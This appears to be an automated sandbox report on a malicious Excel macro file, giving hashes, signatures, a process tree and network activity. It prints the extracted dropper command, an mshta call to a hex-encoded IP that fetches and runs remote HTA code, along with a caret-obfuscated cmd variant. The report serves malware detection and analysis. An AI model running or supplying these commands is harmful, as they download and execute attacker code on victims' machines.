Analysis

  • max time kernel
    150s
  • max time network
    137s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    19-01-2022 19:39

General

  • Target

    bc7476f9d9148b939127a2024a1b341cec82fb398bf06667bdd3da4b1acc8bd2.xlsm

  • Size

    115KB

  • MD5

    f4d25cf8a129a7d5f017c7ff90e768fd

  • SHA1

    5e5faa43a14365d234bd071f1ae2b9fcd3511ec0

  • SHA256

    bc7476f9d9148b939127a2024a1b341cec82fb398bf06667bdd3da4b1acc8bd2

  • SHA512

    51ed9a545b67f3296a06d0f1ed570a7caed45a9fa3adf20fad21bf8a40b576015d656f3cf7c117d354ece81006bcb268ca76ed04e30543e5e5237151234d8ea1

Score
10/10

Malware Config

Extracted

Language
hta
Source
1
mshta http://0x5cff39c3/sec/se1.html
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\bc7476f9d9148b939127a2024a1b341cec82fb398bf06667bdd3da4b1acc8bd2.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2780
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:780
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1172
        • C:\Windows\system32\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          PID:2892

    Network

    • flag-ru
      GET
      http://92.255.57.195/sec/se1.html
      mshta.exe
      Remote address:
      92.255.57.195:80
      Request
      GET /sec/se1.html HTTP/1.1
      Accept: */*
      Accept-Language: en-US
      UA-CPU: AMD64
      Accept-Encoding: gzip, deflate
      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
      Host: 92.255.57.195
      Connection: Keep-Alive
      Response
      HTTP/1.0 404 Not Found
    • 52.109.8.21:443
      322 B
      7
    • 52.109.8.21:443
      nexusrules.officeapps.live.com
      tls
      1.4kB
      1.8kB
      9
      10
    • 92.255.57.195:80
      http://92.255.57.195/sec/se1.html
      http
      mshta.exe
      743 B
      368 B
      9
      8

      HTTP Request

      GET http://92.255.57.195/sec/se1.html

      HTTP Response

      404
    No results found

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2780-115-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

      Filesize

      64KB

    • memory/2780-116-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

      Filesize

      64KB

    • memory/2780-117-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

      Filesize

      64KB

    • memory/2780-118-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

      Filesize

      64KB

    • memory/2780-121-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

      Filesize

      64KB

    • memory/2780-128-0x00007FFFAB270000-0x00007FFFAB280000-memory.dmp

      Filesize

      64KB

    • memory/2780-129-0x00007FFFAB270000-0x00007FFFAB280000-memory.dmp

      Filesize

      64KB

    We care about your privacy.

    This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.